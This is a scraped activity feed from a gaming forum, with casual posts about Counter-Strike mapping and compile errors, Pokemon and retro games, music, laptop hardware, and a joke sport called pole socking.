Uhh... I am so thoroughly not Kelli. I suppose I should also add that we need to play more Draw My Thing. Your creepy-as-fuck drawings must grace my vision once again. I can't promise I won't draw anything naked though.

In hana cards! by Zarathustra:
SRAW said:


superjer said:



Hanafuda (“flower cards”) is a card game that evolved from Western playing cards back when the Japanese wanted to play poker, but the white-man’s culture was permabanned from Japan because Caucasians were to damn tall.

Unlike Western-style cards, the Hanafuda cards contain no numbers. Instead, the 48 cards in the deck use pictures of flowers and plants. The deck is organized in 12 suits, one for each month of the year, and the types of plants represent the months in which they bloom in Japan. Just like western cards, they can be used to play several different games.

Also, you should know that back in 1889, a small company was formed in Kyoto for the specific purpose of producing Hanafuda cards. The company was called Nintendo Koppai.

A century later, it had evolved into a titan in the video game industry: Nintendo.
Now you know.

In Best Super Nintendo games? by aaronjer:
Buq's avatar is pure, fluid awesome... so I'm not going to force a change. And you can "#" post all you want here. It's not like it actually hurts anything. People who make a rule against it just have an "internet power trip" thing going on.

And go download a genesis emulator and play Streets of Rage 2.

In Best Super Nintendo games? by buq25:
Rockbomb said:
buq25 said:
Rockbomb said:
Donkey Kong Country.
And I hope that was fast enough for you


Freaking spoooky man. Freaky. I'll go get it. Aren't they making a remake of it? Donkey Kong Country Re-something?

Edit: Donkey Kong Country Returns

Just edited my first post... but, I wasn't aware they were gonna make another donkey kong country I hope they make it as awesome as the first one


Just saw your edit. Sweet. Was going to make an ironic joke of how long time that's gonna take to play through, but I was bored.
And about 0:24 in:
you've got it. Stupid made by Nintendo... I want it for the PC . If it's coming for PC then it, Super Meat Boy and Portal 2 are going to make me drool.

In my counter strike problem by Down Rodeo:
I think the problem is you're playing Counter-Strike. If you didn't play, you wouldn't have these problems.

In Mod/Map help please by Down Rodeo:
I was about to make a joke then I realised you were talking about "play for a half minute then stop" American football. Eugh.

In Mod/Map help please by Rockbomb:
I always wondered why people makes stuff like this... If you wanna paly a basketball game, go play a game thats engine was made to play basketball. Why waste a ton of time making a mod for halflife (a shit game engine), and in the end its gonna be nothing like the actual game, and probably not that fun?

Well, whatever your motivation is, good luck.

In WoW by Rockbomb:
sprinkles said:
RibsRiseRainbmow said:
WoW is fun.
But I don't play as much as I used to.
prolly 1/2x a week.
now I'm sad because my gear score is low.


hm, 1/2x a week.

So you play half of x a week?





He meant one or two times a week

In WoW by the_cloud_system:



/train
/badasserey


but your still badass casue i play on a privet server

In recent news by Jake?!:
I knew we'd play a fun game at the LAN!

In MW2 Fail by the_cloud_system:
SolidKAYOS said:
Rockbomb said:
get to play as Raiden <3



you just get to see his ass again

In MW2 Fail by SolidKAYOS:
Rockbomb said:
Pshhhh, bunch of haters in here.
Ok, I know its a game, but I've never played it and know nothing about it.
So why would I want to skin my cs to match some game that I don't play?

Idk why, but I think I just got the inspiration to make a complete skin pack, metal gear solid style.

Honestly i dont like MW2 so tome your lucky. and metal gear solid is muuch better. Metal gear rising is to come out! get to play as Raiden <3

In MW2 Fail by Rockbomb:
Pshhhh, bunch of haters in here.
Ok, I know its a game, but I've never played it and know nothing about it.
So why would I want to skin my cs to match some game that I don't play?

Idk why, but I think I just got the inspiration to make a complete skin pack, metal gear solid style.

In questions by Killer-Duck:
hueyjie said:
1. why do some maps come with a .res file and what is the use of the file?

2. why do some maps come with a .wad file? the texture of the map can't be stored in the map?

3. how to make players without pistols or knives at the beginning of the game?

4. what is the entity for an object to make it has an ability to heal players?

5. why we can't steal the textures of some maps using textract? eg. de_dust2

1. The .res-file is a list of custom files used by a map(eg. sound, textures, models, skies etc.). When a player connects to a server it will automatically download the files listed in the .res-file so the player can play your custom map. Read more: http://www.telefragged.com/wally/tutorials/res_files.html

2. Yes, textures can be embedded inside the .bsp-file. Reason for people not doing it: they don't know how to do it, they just forgot it or they don't give a fuck.

3. game_player_equip

5. Maybe a bug in textract? Also remember that not all textures de_dust2 uses are embedded in the bsp-file, it also uses some textures from cs_dust.wad and halflife.wad I believe.

In Need fast help with this error ! by SuperJer:
That's not really an error, just a warning. Is there an actual problem when you play the map?

You can try reducing the complexity of the map but if you dont have unnecessary. Complexity Just ignore it

In Soccer ball. by Mate de Vita:
Heh, I remember playing on a server with some plugin/mod/whatever where you could actually play "soccer" and it was actually pretty nicely done, considering that it was based on counter-strike.

In Go get Voobly! by SolidKAYOS:
and play Age of empires II with me :(

In WILLING TO TRADE by Rockbomb:
I've had vac ban me for no reason before, luckily I play non-steam so all i had to do is reset my ip and I could play again.

In I iz win? by Rockbomb:
Well I guess I don't know what cz is.
Either way, I don't play cs because i like the graphics. If I wanted to play a game with decent graphics, I probably wouldn't even have an account on this forum.

In My Shity Graphics Card by the_cloud_system:
http://www.google.com/search?client=opera&rls=en&q=a+new+graphics+cared+for+your+labtop&sourceid=opera&ie=utf-8&oe=utf-8

http://www.pcworld.com/article/148909/upgrading_your_laptops_graphics_card.html

captainsanta157 said:
im going to get a new graphics card in my laptop to play wow, but people are telling me that you cant get/replace graphics cards for laptops or something? i dunno just wanna check because i dont wanna buy one then not be able to use it,

so can i?

btw: i have a dell inspiron b120


Tedster said:
in short, no.

In ned sum halp by SRAW:
superjer said:
Can you add sound to a spray image? I think it should be blasting Revolution Is My Name at an obscene volume.


I think you can use that hlss program, which can play back sounds on the voice, so you could bind a key that sprays and play back music...

and pantera sucks

In Battle.net Captcha by NatureJay:
I was thinking about it and after careful consideration I've realized that if I play the part of fast zombie I'm probably light enough to try to jump on someone's shoulders in an effort to take them down without doing them any major bodily harm. So yes. If I'm in town. And have somewhat advanced warning.

In I broke it by fedex _:
once you pass those play mega man 8 for the psx that one is really fun . but dont play megaman legends

In I broke it by fedex _:
that never happend to me yet , but i still play mega man x for snes

and yes i still have my snes and bunch of games..

In Battle.net Captcha by Mate de Vita:
NatureJay said:
Okay maybe we had four girls if that was one.

You mean like her?

Name: Cammi Falls
Callsign: Red Leader
Gender: Female
Nationality: Cascadian
Birthdate: April 17th
Age: 20
Blood type: B-
Height: 1.63 m (5 ft 4 in)
Weight: 50 kg (110 lbs)
Measurements� BWH: 87 55 86 cm (34 C 22 34 in)
Natural bust?: You better believe it!
Eye color: Blue-Grey
Hair color: Brown
Fighting Style: Tai Chi Quan
Occupation: College Student
Favorite Food(s): Strawberry Millefeuille
Hobbies: Aromatherapy, origami, storm watching.

Bio:
Spunky, intelligent and cheerful, Cammi Falls is a Cinderella story of one college girl who dared to dream big. The 19-year-old student began practicing martial arts as a means of self-improvement both mentally and physically, and was for a short time under employment by Mr. Ribbon at his secret volcano layer and volleyball resort.

With a strong motivation for self-improvement, Cammi hopes that by honing her own skills, she can eventually help others to do the same. Of course Mr. Ribbon was more than happy to aid in her training, and would often attack Cammi when she least expected it to keep her combat skills and vigilance sharp.

While she has never said whither or not she believes Mr. Ribbon to be an overbearing, well-dressed, white collar psychopath, or whether she merely humors him, one can assume that there is a love-hate relationship between the two, sometimes bordering more on the hate side for Cammi.

Due to the nature of Pole Socking, and Mr. Ribbon himself, Cammi was critically hospitalized near the end of the 5th Olympium where she would remain for months.
However, despite this sidelining, Cammi stands alone as being the only person to best Ribbon in syringe combat, despite being in a coma.

After recovering from her grievous injuries, Cammi went on to successfully commanded over 30 training missions for the Red Team, and won 4 field promotions and 3 commendations.

Today, she returns for the 6th Annual Pole Socking / Storm Chasing Olympium to play a more active part, and discover for herself what the Will to Power really means�

In Threading by sprinkles:
Is there a way I can have a thread not terminate?

I want the audio player of WhiteBird to have its own thread, so it can run (and crash) independently of WhiteBird. So I create a new thread for it, simple. The problem is that once the thread does one thing it terminates. I need the thread to say play music, then wait around for something to do (like the thread pool). I don't want to use the thread pool simply because it is performing other tasks (navigating web pages, i/o, etc.).

In Private Maps by Outcast:
Mate de Vita said:
buq25 said:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

Don't connect to the internet, silly.


hahahah

In Setting Up a Server by sprinkles:
bb said:
sprinkles, I'm afraid that if you set up a server, no one would every bother is visit it (however once I hosted a cs server when everyone used to play cs and it ran zombie swarm and it was quite popular...)


Maybe I wanted to set up a server to smack little punks like you upside the head. Did you consider that?

In I thought you ought to know. by aaronjer:
Don't be a retard and listen to Rockbomb. The old pokemon games are good, the new pokemon games are good. All of the pokemon games are good. The new ones just have more stuff in them, and everything that diverts from what pokemon was in the old games is optional. Unless you're some nostalgia obsessed purist weirdo there's no reason to play the old games over the new. The story never even changes... 'get starter from tree professor/defeat team whatever/collect badges/defeat elite four/celebrate atop the broken bodies of your rivals' there's just a lot more to do in the new games.

Have you even played the 3rd and 4th gen games, Rockbomb?

In Setting Up a Server by bb:
sprinkles, I'm afraid that if you set up a server, no one would every bother is visit it (however once I hosted a cs server when everyone used to play cs and it ran zombie swarm and it was quite popular...)

In I thought you ought to know. by buq25:
SRAW said:
buq25 said:
Rockbomb said:
I think the missingno glitch worked on all the first games (red blue yellow).


I've gotten red and I'll play it for a while.


The missingno glitch requires you to go to cinnibar island, which is far in the game...


I'm not just playing it for missingno, Rockbomb told me it was fun so I wanted to test it. Agreed. 1,5 hours in, I've understood the basics and I think it's fun.

In I thought you ought to know. by SRAW:
buq25 said:
Rockbomb said:
I think the missingno glitch worked on all the first games (red blue yellow).


I've gotten red and I'll play it for a while.


The missingno glitch requires you to go to cinnibar island, which is far in the game...

In I thought you ought to know. by buq25:
Rockbomb said:
I think the missingno glitch worked on all the first games (red blue yellow).


I've gotten red and I'll play it for a while.

In I thought you ought to know. by buq25:
I'm 15.

I haven't really wanted to play the pokémon games. Not even the old ones. The newer ones looks like real crap. Judging the dog by it's fur. I'd guess I'm going to now. What game and what consol? I'll try to fix it.

In I thought you ought to know. by Rockbomb:
buq25 said:
=).

By the way, the first pokémon game with missingno came out when I was 1 year old... WHY CAN'T I HAVE GOOD STUFF?!... I've been emulating and replaying SMW on my computer 4 times...

Hehe, you must be a lot younger than I pictured.
Yeah, I've got all the pokemon roms and an emulator (except for the new soul silver or whatever it is), but I usually play either red or blue.

In cloud system by Rockbomb:
Did you draw those? Cuz if so, thats awesome
I still haven't gotten the chance to play the 4th game

In de_inferno by SRAW:
superjer said:
Is there any reason to assume there is a 1.6 one available at all?

I mean you could decompile it and then play with the resulting clusterfuck...


Maybe valve has it under copyright /looks towards that guy who wanted to make a private map

In de_inferno by SuperJer:
Is there any reason to assume there is a 1.6 one available at all?

I mean you could decompile it and then play with the resulting clusterfuck...

In Private Maps by Mate de Vita:
buq25 said:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

Don't connect to the internet, silly.

In Private Maps by buq25:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

In I want this... by Rockbomb:
jrkookid said:
Well I'm getting this so that when I play airsoft I get to see what happens and confirm my kills. I am guessing you will do the same except with hunting? Or what?


Nope, I'm going to record short films... and look like a BAMF while I do it

In I want this... by jrkookid:
Well I'm getting this so that when I play airsoft I get to see what happens and confirm my kills. I am guessing you will do the same except with hunting? Or what?

In Private Maps by SuperJer:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.

In .swf by the_cloud_system:
so i use download helper as a addon on firefox to download porn from sites'n shit

yesterday i was donloading a lot of things from newgrounds (not porn) and just now i figured out therer all .swf files and useuley there .flv files, cause i have a .flv player

what program can play .swf files

In GATE - a robotics/engineering game by a GIRL (OMG) by SuperJer:
Uh yeah I guess. Wine is getting so good I didn't even think about that. Anyway, play the game!

In Halo Reach Beta by the_cloud_system:
my frend would play it.... but ant got no xbox

In Halo Reach Beta by shigidy:
Anybody play it besides me?

In Private Maps by Rockbomb:
Ok, this is what you need to do...
Save your map to a floppy diskette (or whatever those round things are you kids use these days), and put it into an envelope. Go to your local post office and put a stamp on it, and make sure they stamp it with the date. Mail the envelope to yourself.
Now, if anyone steals your map, you can take them to court and bring the envelope with you. Present the envelope as evidence, and it will prove that you were the original owner/creator of said map, and you will win the case.
Wasn't being serious, but this is actually really good advice if you ever have a cool idea that you don't want anyone to steal and copyright before you get the chance to.

Edit:
Down Rodeo said:

Look, why do you want people to play this map on one server only? Besides, you're also placing quite a lot on people *liking* your map enough. You've just started, I can't see it being that likely.


In Desktop Dungeons by Down Rodeo:
Can't believe I haven't posted about this before likes! The game is called Desktop Dungeons. It's genius. Very simple, very clever, surprisingly deep, short, addictive. And, at the moment, slightly unbalanced. Go play: http://www.qcfdesign.com/?cat=20

In ram, why is it so high by fedex _:
Ok the cloud system , this is the only games you can play on the intel card, i have a laptop with the same shit ,



Cs 1.6

HL2

CSS

Oblivion

CoD 1 2 and also 4

Halo

GTA 3 n Vice City , Also San Andreas

Believe or not you can also play Bio Shock On low settings


go to my youtube and see my pc using fraps


http://www.youtube.com/user/peperz1

and my pc specs are

Hp dv6

300 Hd

4 Gig Ram

Intel Core 2 Duo at 2.00ghz both cores

windows vista home x64 , And pc rating 3.9 woo



1 more thing , I TRIED GTA 4 AND I WILL NEVER DO THAT AGAIN RUNS TO BAD

In People shot in face with cupcake cannon (slow motion) by SRAW:
NatureJay said:
http://gizmodo.com/5528185/people-shot-in-the-face-with-cupcakes-in-super-slow-motion

Or if you're too dumb to click the link


If you're too dumb to click play, I can't help you.


Wouldn't just youtubing it here be much easier than clicking a foreign link? It seems dumber if someone clicks on a link that could easily lead to porn site that will give you tons of viruses...

In Whats IS pole socking? by sprinkles:
Zarathustra said:
NatureJay said:
Nnnhhh... I'd say pole socking is closer to rugby than it is American football, but that's like saying string theory is closer to rabies than ebola.


Pole Socking is real simple.

Basically, each team has a minimum of 3 Defenders, 3 Attackers, 5 Midfielders, a Goalie, and a Team Captain. Players may use their vehicles in any way they see fit, whether it be to incur injury upon other players or to gain benefits for themselves. Contact is allowed, but a player may not grasp another's socking mallet. No substitution of a player is allowed, even if one is too badly hurt to continue. The players must not stray over the boundary lines of the playfield, which extends in a 30x10 mile rectangle around a tornado, with the maximum extend being any state/province/ territory. The Nomads enter the game from the field sidelines along the designated Wing Areas at the field half mark between the spectating bleachers, and run impartial interception on both teams. Poles are planted throughout the playfield, with each team’s Master Pole located just beyond their End Line, which is the domain of the Goalie. Attackers and Defenders are restricted their fields of play, while the Midfielder's dash back and forth in an attempt to score hits upon opposing or neutral poles until the tornado(s) die out and the umpire calls hotbox. Time out may be called at any time by a team Captain by firing a flare and lasts until it burns out. This time may be extended only if a game has already lasted for more than twelve hours. Failure to return afterward disqualifies the offending team.
When a Red Alert or Blue Light power play is in effect, the associated team is allowed to sock by flying from the central circle towards the scoring area, and if successful, the pole must be surrendered to the opposition.

At the end of the game the score is calculated, with scoredowns, pole-socks and rundowns added up. Wheelies and flips are multiplied by any half-pipes and barrel roles.

The totals are then divide by nine.



eDan Co. said:
Although something gives me the feeling Crytax and Zarathustra are gonna come along and say lots of weird stuff.


In Whats IS pole socking? by Zarathustra:
NatureJay said:
Nnnhhh... I'd say pole socking is closer to rugby than it is American football, but that's like saying string theory is closer to rabies than ebola.


Pole Socking is real simple.

Basically, each team has a minimum of 3 Defenders, 3 Attackers, 5 Midfielders, a Goalie, and a Team Captain. Players may use their vehicles in any way they see fit, whether it be to incur injury upon other players or to gain benefits for themselves. Contact is allowed, but a player may not grasp another's socking mallet. No substitution of a player is allowed, even if one is too badly hurt to continue. The players must not stray over the boundary lines of the playfield, which extends in a 30x10 mile rectangle around a tornado, with the maximum extend being any state/province/ territory. The Nomads enter the game from the field sidelines along the designated Wing Areas at the field half mark between the spectating bleachers, and run impartial interception on both teams. Poles are planted throughout the playfield, with each team’s Master Pole located just beyond their End Line, which is the domain of the Goalie. Attackers and Defenders are restricted their fields of play, while the Midfielder's dash back and forth in an attempt to score hits upon opposing or neutral poles until the tornado(s) die out and the umpire calls hotbox. Time out may be called at any time by a team Captain by firing a flare and lasts until it burns out. This time may be extended only if a game has already lasted for more than twelve hours. Failure to return afterward disqualifies the offending team.
When a Red Alert or Blue Light power play is in effect, the associated team is allowed to sock by flying from the central circle towards the scoring area, and if successful, the pole must be surrendered to the opposition.

At the end of the game the score is calculated, with scoredowns, pole-socks and rundowns added up. Wheelies and flips are multiplied by any half-pipes and barrel rolls.

The totals are then divide by nine.

In People shot in face with cupcake cannon (slow motion) by NatureJay:
http://gizmodo.com/5528185/people-shot-in-the-face-with-cupcakes-in-super-slow-motion

Or if you're too dumb to click the link


If you're too dumb to click play, I can't help you.

In Whats some good 'chill' music. by Mate de Vita:
aaronjer said:
Then the card game... I never even looked at it. I was just all, "Why- in the FUCK, would I play a card game when there is already a video game of the same thing." I'd already dealt with one pale imitation via the show, and I wasn't going to get suckered into a second one.

There was also a card game videogame
I actually own it.

In Whats some good 'chill' music. by aaronjer:
I tried to watch the show for a few months back in junior high when it first came out but it did not click with me. It just kept annoying me that it was so pointlessly different from the games. It was visually similar, and other than that... pretty much it's own thing.

I could never figure out why a pikachu was considered the most powerful pokemon EVAR! It annoyed me to no end. I was all like, damn, even evolved into a raichu it is a below average Pokemon. Why wasn't it just a Red/Blue starter? Those are actually good. And if it needed to be a cute electric pokemon why wasn't it just a Jolteon? Jolteons are still even in Gen 4 the best electric sweeper... and literally better than a raichu (and especially a pikachu) in every way. In fact, Jolteon is easily one of the most overpowered Pokemon in the games, it eats legendaries for breakfast and then craps out actual thunder (which kills another legendary). It just deeply annoyed me that the people making the show obviously knew jack shit about the games.

Then the card game... I never even looked at it. I was just all, "Why- in the FUCK, would I play a card game when there is already a video game of the same thing." I'd already dealt with one pale imitation via the show, and I wasn't going to get suckered into a second one.

In Whats some good 'chill' music. by aaronjer:
I never got into anything Pokemon other than the main series of games, so I can only assume that card is a good one. When I play the old Pokemon games I just cry a little, because I remembered them being good, but they're totally unplayable compared to the new ones.

Trading and battling with other people was a mess before the DS, and before Gen 3 the games had no difficult battles against NPCs at all... they're so... boring. Even the battle against Red in GSC was pretty 'meh' compared to the Battle Tower/Frontier/Whatever Post Elite Four Thing stuff. In Gen 1 and 2 it was like you have all these Pokemons... and nothing to DO with them. There's no reason to try to plan a really competitive team.

In Whats some good 'chill' music. by Rockbomb:
SRAW said:
Killer-Duck said:
Cannibal Corpse?

Wow!!!

And dragonforce isn't chill music
and has anyone heard them(dragonforce) live?

I saw them live once, they were good, but not anything like I would have expected. They played the donkeykong country themesong as they were getting on the stage, rofl

aaronjer said:
Go play DPP or HGSS. THEY ARE MUCH SUPERIOR!

I grew up with the first gen pokemon, and I little of the second gen. After that I have no clue what any of the pokemon are, so its not as fun to play the newer games

In Whats some good 'chill' music. by aaronjer:
Go play DPP or HGSS. THEY ARE MUCH SUPERIOR!

In Whats some good 'chill' music. by the_cloud_system:
Rockbomb said:
I play whenever I'm bored




THATS NOT GOOD ENOUGH!

In Whats some good 'chill' music. by Rockbomb:
aaronjer said:
I listen to Pokemon music!

I've got 6 roms (red, blue, yellow, silver, gold, and crystal) that I play whenever I'm bored

In Starcraft2 Beta by SRAW:
I play sc once in a while with some of my so-called "friends" (i find them annoying cause they keep wanting to play dota with).
sc2 looks cool, but the graphics look pretty bad, i mean starcraft just isnt the same looking like warcraft 3

In Whats some good 'chill' music. by Rockbomb:
SolidKAYOS said:
Muse? Any kind of music u can chill to really it just depends what u like and mood.

I don't consider muse chill music. I think the genre of music doesn't have much to do with it, its more of the style of the band. Hell, there is some metal that I can sleep to, and there are classical pieces that give me energy. All depends on each band and how they play and stuff.

In Whats some good 'chill' music. by Rockbomb:
IIIIIIIIIIIIIIIIII.... wanna ROCK AND ROLL, all NIGHTTTT! and party EVERY DAY!

Hehe, but no... I actually kinda use music as a medication. I have ADD, and i find that when I listen to some somewhat slow, claming music, it helps me keep focus better.
Believe it or not, there was actually one point in my life where they used to have this radio station that would play opera music, and any time I needed to get anything done I'd switch that channel on

In Player start entity help???? by dLu:
i need a little help..i made a map no erors,no nothing I played everything was ok..but i made a mistake i had put only 1 spot for tt and ct...then i fixed that i made 16 spots for ct and tt
so we put the map on the server and started to play...
some players were born some were not...or they were born on the same place but there is enough place for everyone...
can someone help pls??

In WoW by sprinkles:
RibsRiseRainbmow said:
WoW is fun.
But I don't play as much as I used to.
prolly 1/2x a week.
now I'm sad because my gear score is low.


hm, 1/2x a week.

So you play half of x a week?





In WoW by RibsRiseRainbmow:
WoW is fun.
But I don't play as much as I used to.
prolly 1/2x a week.
now I'm sad because my gear score is low.

In How do you make mic spams? by vanstrat:
I know how to talk on a mic, but how do you make it were a sound file will play, like is there a program for it or what?

In Gears of War 3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! by sprinkles:
Down Rodeo said:
Icky. Play an interesting game sometime! Not "everything can be solved with bullets the size of 7.62mm" Marcus and Dom...


In Gears of War 3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! by Down Rodeo:
Icky. Play an interesting game sometime! Not "everything can be solved with bullets the size of grapefruits" Marcus and Dom...

In Kayos' Music by SolidKAYOS:
I edited the first post with my profile on looperman. You can now play the tracks without downloading them.But you can still download them. However i have a limit on upload so Glacial inferno will not be on there however i want to re do that song anyways and will make it shorter.

In hey n00b commander by aaronjer:
Okay... only in like 1 out of 4 games I play is there actually anybody around near the enemy's assets to try and stop me. As long as you fly over in a jet you're pretty much free to break whatever you want for like 2-3 minutes. This is an especially good idea because you can start it off by crashing a jet covered in C4 nose first into an asset and destroying it.

In Ipod Software by Rockbomb:
Maybe I should update mine... I've got a 5th gen 80gb that doesn't work for shit. Same thing with it not turning off, I usually have to try like 5 times to get it to turn off. Then it also rarely plays videos, most of the time if you try to play one it just freezes. And to think I paid $400 for this POS...

In Problum with leaks by PaRaSiTe:
I just started making maps, and when i try to compile it, i keep getting the error message


Warning: === LEAK in hull 0 ===
Entity info_player_deathmatch @ ( -64, 0,-192)
Error:
A LEAK is a hole in the map, where the inside of it is exposed to the
(unwanted) outside region. The entity listed in the error is just a helpful
indication of where the beginning of the leak pointfile starts, so the
beginning of the line can be quickly found and traced to until reaching the
outside. Unless this entity is accidentally on the outside of the map, it
probably should not be deleted. Some complex rotating objects entities need
their origins outside the map. To deal with these, just enclose the origin
brush with a solid world brush

Leak pointfile generated


** Executing...
** Command: C:\PROGRA~1\COMMON~1\tools\hlvis.exe
** Parameters: "C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee"

hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: C:\PROGRA~1\COMMON~1\tools\hlvis.exe "C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee"
>> There was a problem compiling the map.
>> Check the file C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee.log for the cause.

----- END hlvis -----




** Executing...
** Command: C:\PROGRA~1\COMMON~1\tools\hlrad.exe
** Parameters: "C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee"

hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: C:\PROGRA~1\COMMON~1\tools\hlrad.exe "C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee"
>> There was a problem compiling the map.
>> Check the file C:\Program Files (x86)\Steam\steamapps\sk8master690\counter-strike\cstrike\maps\Catpee.log for the cause.

----- END hlrad -----




** Executing...
** Command: C:\PROGRA~1\COMMON~1\tools\hlrad.exe
** Parameters: +map "Catpee"



Im guessing its the leak thats not allowing me to play, but there are no holes in the map, and my spawn points and light are inside the map, anyone got any idea what the problum is?

In hlvis: Error: Portal file 'catpee.prt' does not exist by Guitarreaper77:
everytime i go to compile my map i get this

Quote:
hlvis: Error: Portal file 'catpee.prt' does not exist, cannot vis the map


i dont know why and i really want to play my map but i cant i can only spectate it

here is my .log file

Quote:

hlcsg v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlcsg -----
Command line: hlcsg -nowadtextures catpee
Entering catpee.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ on ] [ on ]
onlyents [ off ] [ off ]
wadtextures [ off ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
min surface area [ 0.500 ] [ 0.500 ]
brush union threshold [ 0.000 ] [ 0.000 ]

Using mapfile wad configuration
Wadinclude list :
[zhlt.wad]

0 brushes (totalling 0 sides) discarded from clipping hulls
CreateBrush:
(0.00 seconds)
SetModelCenters:
(0.02 seconds)
CSGBrush:
(0.02 seconds)

Using Wadfile: \users\robert\desktop\counter strike maps\wads\halflife.wad
- Contains 7 used textures, 100.00 percent of map (3116 textures in wad)

added 4 additional animating textures.
Texture usage is at 0.16 mb (of 4.00 mb MAX)
0.06 seconds elapsed

----- END hlcsg -----



hlbsp v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlbsp -----
Command line: hlbsp catpee

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 2 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 4194304 ] [ 4194304 ]
priority [ Normal ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 4096)


Warning: No entities exist in hull 0, no filling performed for this hull
Warning: No entities exist in hull 1, no filling performed for this hull
Warning: No entities exist in hull 2, no filling performed for this hull
Warning: No entities exist in hull 3, no filling performed for this hull
0.08 seconds elapsed

----- END hlbsp -----



hlvis v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlvis -----
Command line: hlvis catpee
Error: Portal file 'catpee.prt' does not exist, cannot vis the map


----- END hlvis -----



hlrad v2.5.3 rel Custom Build 1.7 (Dec 9 2002)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (merlinis@bigpond.net.au)
----- BEGIN hlrad -----
Command line: hlrad catpee
>> There was a problem compiling the map.
>> Check the file catpee.log for the cause.

----- END hlrad -----


plz help me






In Kayos' Music by SolidKAYOS:
Rockbomb said:
They sound pretty good. Just outta curiosity, are you using premade loops or making your own? I've never worked with acid before so I'm not too sure what exactly it does.


Premade loops. I get them from. http://www.looperman.com/loops.php]Looperman best place ive found so far. I wish i could make my own but i might get into that later. Im still learning to use Acid itself.

Im editing the links so that the actual name comes up for the song when you play besides "New" or whatever els i called them. Id use speedyshare but im not paying for it.

In say... by the_cloud_system:
ouch... my pride...


btw sam and max.. thats relley awesome i used to play that when my family had game tap

In say... by the_cloud_system:
i would be gay and all that but id like to play on servers that i want to play on >:D

In ram, why is it so high by Down Rodeo:
My old laptop had horrifying lag when playing Half-Life when some kind of effect fired, I changed it and then it played better.

Then I tried CS:S on lowest settings and got something like 18 fps max, 2-3 worst. Similarly for HL2 :D

This one, however, can play Crysis. Not brilliantly but it manages at native resolution...

The thing I meant to say was that Vista and 7 are memory-heavy anyway, so a lot of that would be the OS. And AFAIK Vista and 7 both do caching, but at startup, then don't tell you that it's in use. Kinda transparent-like.

In ram, why is it so high by the_cloud_system:
its not slowing down at all just i have a duocore with 3 gigs of ram 250gigs of space and my computer slows down when i play cs

i think its the graphics but i want my computer to be the fastest it can be

In Whoa superjer is Changing Everything! by Sloth:
sprinkles said:
There is no more McDiddy's flash play kit section.
There is a dumbass section, and a other section.


Ye he used to all about tits and stuff.

In Whoa superjer is Changing Everything! by sprinkles:
There is no more McDiddy's flash play kit section.
There is a dumbass section, and a other section.

In d2lod help by Mate de Vita:
aaronjer said:
Huh... well... poor bastards still don't know how to balance their game. Oh well. Why did they even bother doing stuff like increasing hydra damage by 15%? I mean... maybe 450% and it'd be useful... but 15%?!

You can tell they don't play the game. It's so annoying!

Yup, most skills that were 'improved' still suck pretty much.
And CE was a great skill already, now it's even more of a pwn (especially in solo games).
The only skill where they did at least something useful is Hammer imo. Though they didn't really nerf it much.

In other news, you can't really play ladder because too many hackers are currently using a rollback method to roll those perf runewords.
Which of course crashes the servers on a regular basis, which means you can't do a single baalrun without getting realm down.

